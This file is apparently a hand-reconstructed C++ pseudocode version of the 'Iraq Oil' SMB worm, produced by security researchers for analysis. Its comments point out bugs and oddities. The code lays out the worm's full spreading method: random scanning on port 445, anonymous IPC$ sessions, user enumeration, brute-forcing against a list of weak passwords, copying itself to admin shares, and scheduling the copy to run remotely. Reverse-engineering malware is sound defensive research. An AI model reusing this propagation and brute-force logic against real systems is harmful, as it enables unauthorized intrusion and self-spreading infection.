/* * $Id: //websites/unixwiz/newroot/iraqworm/iraqworm.cpp#5 $ * * Reverse engineered by a collaboration of: * * - Lawrence Baldwin - http://www.mynetwatchman.com * - Philip Sloss - security researcher * - Steve Friedl - security researcher * * Main page for this reverse engineering: * * http://www.unixwiz.net/iraqworm/ * * ========================================================= * THIS IS NOT COMPLETE - I'M WORKING ON IT AS YOU READ THIS * * THE CODE IS NOT MEANT TO COMPILE EITHER * ========================================================= * * We used the outstanding IDA Pro disassembler on the binary, and the * regenerated C++ code was done by hand. This code does NOT compile: it's * mainly meant to be pseudocode to allow for analyis, and we have spent * zero time to insure that the code is even strictly legal C++. In no * case are we using the object features of C++, but we do like some of * the "better C" facilities. * * It's our belief that the code was somewhat optimized, and this makes * it a bit more difficult to reverse some of the loop control (which * is complicated by the sometimes bogus logic in the code itself). So * we use "goto" simply because it's easier for now. We don't write real * code this way. * * We use "NOTE" to call attention to bugs or oddities in the code. * * REFERENCES * ---------- * * my Net Watchman - http://www.mynetwatchman.com * * IDA Pro Disassembler - http://www.datarescue.ecom * * Steve Friedl - http://www.unixwiz.net */ #include #include #include #define NTHREADS 100 /*------------------------------------------------------------------------ * We load NETAPI32.DLL at runtime, and these are the vars that hold the * pointers to the functions. */ static int (*pfNetUserEnum)() = 0; static int (*pfNetRemoteTOD)() = 0; static int (*pfNetApiBufferFree)() = 0; static int (*pfNetScheduleJobAdd)() = 0; static char MyFilename[260]; static char NullPassword[] = ""; static const char *PasswordTable[] = { NullPassword, "admin", "root", "111", "123", "1234", "123456", "654321", "1", "!@#$", "asdf", "asdfgh", "!@#$%", "!@#$%^", "!@#$%^&", "!@#$%^&*", "server", NULL // ENDMARKER }; /* * WinMain() [COMPLETE] * * This is the main entry point to the program, and it's clearly * not a console-mode app. It uses no parameters, and the main * function just launches all the threads after setup. This never * exits. */ int __stdcall WinMain( HINSTANCE hInst, HINSTANCE hPreInst, LPSTR lpszCmdLine, int nCmdShow ) { GetModuleFilename(NULL, MyFilename, sizeof MyFilename); /*---------------------------------------------------------------- * GET NETWORK API ENTRY POINTS * * We are using the NETAPI32 to perform remote management, but this * is not bound with the EXE itself. This means we have to load it * at runtime and extract the four functions we care about. It's an * error if any of the entry points cannot be found. */ HMODULE h; if ( (h = LoadLibrary("NETAPI32.DLL")) = 0 ) exit(EXIT_SUCCESS); pfNetScheduleJobAdd = GetProcAddress(h, "NetScheduleJobAdd"); pfNetApiBufferFree = GetProcAddress(h, "NetApiBufferFree"); pfNetRemoteTOD = GetProcAddress(h, "NetRemoteTOD"); pfNetUserEnum = GetProcAddress(h, "NetUserEnum"); if ( pfNetScheduleJobAdd == 0 || pfNetApiBufferFree == 0 || pfNetRemoteTOD == 0 || pfNetUserEnum == 0 ) { exit(EXIT_SUCCESS); } srand( GetTickCount() ); // initialize random number generator /*---------------------------------------------------------------- * INIT WINSOCK * * We always must initialize the Winsock library, but the 0xFFFF is * the "versions" parameter, and we're not sure what "0xFF" does to * this. Presumably it asks for the newest possible Winsock. */ WSAData wdata; WSAStartup(0xFFFF, &wdata); // ===NOTE: unusual version requested DWORD threadID[NTHREADS], // LAME: these are set but never used *ptid = threadID; for ( int threadcount = NTHREADS; threadcount > 0; threadcount-- ) { CreateThread( 0, // lpThreadAttributes 0, // dwStackSize ThreadEntry, // entry-point function 0, // lpParameter 0, // dwCreationFlags ptid++ ); // ThreadID } Sleep( INFINITE ); exit( EXIT_SUCCESS ); // don't ever get here } /* * get_random_32() [COMPLETE] * * This returns a random 32-bit number that's created from a pair * of random 16-bit numbers. * * NOTE: since _rand() returns 0..0x7FFF, the return from this * function contains only 30 bits of randomness, and it will never * be above 0x7FFF7FFF. * * BUT: if this is going to an IP address, it has to be converted * from "host" order to "network" order, and this turns it into * * 0xFF7FFF7F * * So two of the bits won't ever be set, and this means that any * IP address with a second or fourth octet of 128..255 should not * see any activity. */ static long get_random_32(void) { return (_rand() << 16) + _rand(); } /* * testconnect() [COMPLETE] * * Given a random IP address, try to connect to port 445 of it, * waiting until we have write enable on it. In no case do we * do any actual I/O to the other end - we're just looking for * those with ports open. */ static int testconnect(unsigned long random32) { int fd = socket(AF_INET, SOCK_STREAM, 0); if ( fd == INVALID_SOCKET ) return -1; struct sockaddr_in remoteaddr; remoteaddr.sin_family = AF_INET; remoteaddr.sin_port = htons(445); remoteaddr.sin_addr = random32; // no host/net conversion // make the socket non-blocking int arg = 1; ioctlsocket(fd, FIONBIO, &arg); connect(fd, &remoteaddr, sizeof remoteaddr); // NOTE: no error check // we're only waiting for write-available on the socket fd_set wfds; wfds.fd_array[0] = fd; wfds.fd_count = 1; // waiting up to five seconds struct timeval timeout; timeout.tv_sec = 5; timeout.tv_usec = 0; int n = select( 0, // # of FDs to wait for NULL, // read FDs &wfds, // write FDs NULL, // exception FDs &timeout); // timeout closesocket(fd); return n > 0; // not sure if this is the proper compar // I'm really lame with CPU flags :-( } /* * ThreadEntry() [COMPLETE] * * This is the main entry point for each of the 100 (or so) * threads. The only purpose is to randomly try to infect * remote systems. We do a simple test connect() to port 445/tcp * to see if it's open, and if so, we then try the more detailed * probing via the NET functions. * * This function never returns, nor does it use the parameter. */ static void ThreadEntry(DWORD param) { while ( TRUE ) { unsigned long ipaddr = get_random_32(); if ( testconnect(ipaddr) ) { char UNCname[52]; // NOTE: why 52? only need 17 sprintf(UNCname, "\\\\%s", inet_ntoa(ipaddr)); attackhost(UNCname); } } } /* * attackhost() [**INCOMPLETE**] * * Given the \\IPADDRESS of a remote host that is known to have * port 445/tcp open, try to infect it. We enumerate all the users * found there, then try to connect to each one with a series of * passwords. * * This function seems to return success/failure status, but the * caller doesn't care about it. */ void attackhost(const char *uncname) { wchar_t WideServerName[500]; char MultiByteStr[300]; char IPCbuf[200]; char *bufptr = 0; NETRESOURCE NetResource; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD ResumeHandle = 0; /*---------------------------------------------------------------- * The wide server name is required for NetUserEnum, and we need * the IPC$ to make our in initial anonymous connection */ MultiByteToWideChar( 0, // code page 0, // dwFlags uncname, // lpMultiByteString -1, // length (-1 means look for NUL) WideServerName, // wide buffer 1000 ); // BUG: should be 500, not 1000 sprintf(IPCbuf, "%s\\ipc$", uncname); NetResource.lpLocalName = NULL; NetResource.lpProvider = NULL; NetResource.dwType = RESOURCETYPE_ANY; NetResource.lpRemoteName = IPCbuf; if ( WNetAddConnection2( &NetResource, NullPassword, // "" - anonymous NullPassword, // "" - anonymous 0 ) != NO_ERROR ) // flags { // 0 = don't update profiles // 1 = "force" the disconnect WNetCancelConnection2( IPCBuf, 0, 1 ); return FALSE; } /*---------------------------------------------------------------- * Now enumerate the */ while ( TRUE ) { NET_API_STATUS rc = NetUserEnum( ServerName, // \\MACHINE (in Unicode) 0, // level: USER_INFO_0 FILTER_NORMAL_ACCOUNT, // no "wierd" users &bufptr, // MAX_PREFERRED_LENGTH, // (-1) length &EntriesRead, &TotalEntries, &ResumeHandle ); if ( rc != NERR_Success && rc != ERROR_MORE_DATA ) goto got_error; userindex = 0; .... MORE HERE got_error: if ( bufptr != NULL ) { NetApiBufferFree(bufptr); bufptr = NULL; } if ( rc == ERROR_MORE_DATA ) { continue } } return 0; } /* * bruteuser() [COMPLETE] * * Given a user name (from NetUserEnum) and the string IP address * of the remote user, attempt to run through our table of passwords. * Upon success, stop and return success to the caller so that we * need not try *more* users. */ int __cdecl bruteuser(const char *username, const char *remotename) { /*---------------------------------------------------------------- * NOTE: since this is a static symbol, there is no way it could * be NULL. ??? */ if ( PasswordTable == NULL ) return FALSE; for ( const char **pTable = PasswordTable; *pTable; pTable++ ) { if ( attackuser(username, *pTable, remotename) == TRUE ) return TRUE; } return FALSE; } /* * attackuser() [COMPLETE] * * Given a username and password, plus the remote server, try to * attack the system with that information. * * LAME: the caller of this function has the remote machine name in * the full \\ UNC format, but for some reason it calls us without the * leading slashes. Then this function adds them right back - twice. * This looks bogus. * * The return value seems to be TRUE if the caller should stop * iterating over the password list, so it generally mean that we * have successfully guessed the password and shouldn't bother * trying any more. */ int attackuser(const char *username, const char *passwd, const char *remotename) { /*---------------------------------------------------------------- * MAKE CONNECTION * * Try to connect to the remote system. */ char server_name1[52]; sprintf(server_name1, "\\\\%s", remotename); _NETRESOURCE netresource; memset(&netresource, 0, sizeof netresource); netresource.lpRemoteName = server_name1; netresource.dwType = RESOURCETYPE_DISK; // 1 netresource.lpLocalName = NULL; netresource.lpProvider = NULL; int rc = WNetAddConnection(&netresource, passwd, username, 0); // this doesn't look right: if it's unsuccessful, we shouldn't // really care for the reason. Why the multiple tests when the // last one should be completely sufficient? if ( rc == ERROR_ALREADY_ASSIGNED || rc == ERROR_DEVICE_ALREADY_REMEMBERED || rc != NERR_Success ) { rc = FALSE; // "keep going" goto done; } rc = TRUE; // we connected, so no need to try more passwords /*---------------------------------------------------------------- * CREATE NAMES * * There are two shares we try to reference on the remote system, * and both names are created here. * * ===NOTE: a fair amount of this seems really pointless. for * one thing, "server_name1" already exists with the same data * that server_name2 is created with, so we have no idea they are * doing it this way. * * Second, since this program is effectively limited to Unicode- * based platforms anyway, why not just use wsprintf? * * wsprintf(admin_share_name, * L"\\\\%S\\Admin$\\system32\\iraq_oil.exe", * remotename); * * wsprintf(cdrive_share_name, * L"\\\\%S\\C$\\winnt\\system32\\iraq_oil.exe", * remotename); * * The "%S" means to use the opposite charsize, so for wsprintf, * it means the source string is regular sized instead of wide. */ char server_name2 [52]; char admin_share_name [260]; char cdrive_share_name[260]; wchar_t wide_server_name [100]; sprintf(server_name2, "\\\\%s", remotename); // NOTE: why do this again? ? ? sprintf(admin_share_name, "%s\\Admin$\\system32\\iraq_oil.exe", server_name2); sprintf(cdrive_share_name, "%s\\c$\\winnt\system32\\iraq_oil.exe", server_name2); MultiByteToWideChar( 0, // code page 0, // flags server_name2, // multibyte source string -1, // mb length (-1 = look for NUL) wide_server_name, // wide destination string 200); // ERROR: should be 100 wchar's /*---------------------------------------------------------------- * Get the time of day on the remote server. This will be used to * schedule the "job" to run later. If we cannot get the time now, * we have no hope later so we return TRUE to say "no more". */ TIME_OF_DAY_INFO *pTOD = 0; if ( NetRemoteTOD(wide_server_name, &pTOD) != NERR_Success || pTOD == NULL ) { goto done; // returning TRUE } /*---------------------------------------------------------------- * Try to copy to the remote system, and we'll take the first * copy that works, bypassing the rest. */ if ( ! CopyFile(MyFilename, admin_share_name, FALSE) && ! CopyFile(MyFilename, cdrive_share_name, FALSE) ) { /*-------------------------------------------------------- * ===NOTE: memory leak here - the TIME_OF_DAY_INFO * object is still allocated, but we jump *past* * the release point. */ goto done; // returning TRUE } /*---------------------------------------------------------------- * SCHEDULE A JOB * * This first manipulates the time of day as fetched from the * remote server to get us a time to run the job. All the time * info is in GMT, but the AT_INFO JobTime must be in minutes * "local" time - this makes it tricky. In any case, we schedule * the job to run two minutes from now. * * The code in the original worm uses what looks like a bizarre * algorithm for getting the jobtime, and we're not really sure * why it works. Our preference is to work off of the UNIX time * and ignore the rest. * * Note that the tod_timezone could be "-1", which means that * it's unknown. This treats the remote as being one minute * east of GMT. * * DWORD jobtime; * * jobtime = p->tod_elapsedt / 60; // GMT minutes since epoch * jobtime += p->tod_timezone; // convert to localtime * jobtime += 2; // 2 mins in the future * jobtime %= (24 * 60); // truncate "day" part * * * atinfo.JobTime = jobtime * 60 * 1000; */ DWORD jobtime = abs(p->tod_timezone) + (p->tod_hours * 60) + p->tod_mins + 2; #define DAY_OF_MINUTES (24*60) if ( jobtime > DAY_OF_MINUTES) jobtime -= DAY_OF_MINUTES; AT_INFO atinfo; memset(&atinfo, 0, sizeof atinfo); atinfo.JobTime = jobtime * 60 * 1000; // one minute of milliseconds atinfo.Command = L"iraq_oil.exe"; // Unicode DWORD jobid; // value unused NetScheduleJobAdd( wide_server_name, // the system to infect &atinfo, &jobid ); NetApiBufferFree(pTOD); /*---------------------------------------------------------------- * EXIT THE FUNCTION * * This is how all paths exit this function, and we always make a * point to disconnect the share even if we were not able to connect * it in the first place. This seems questionable. */ done: WNetCancelConnection2(server_name1, TRUE); // TRUE = force disconenct return rc; }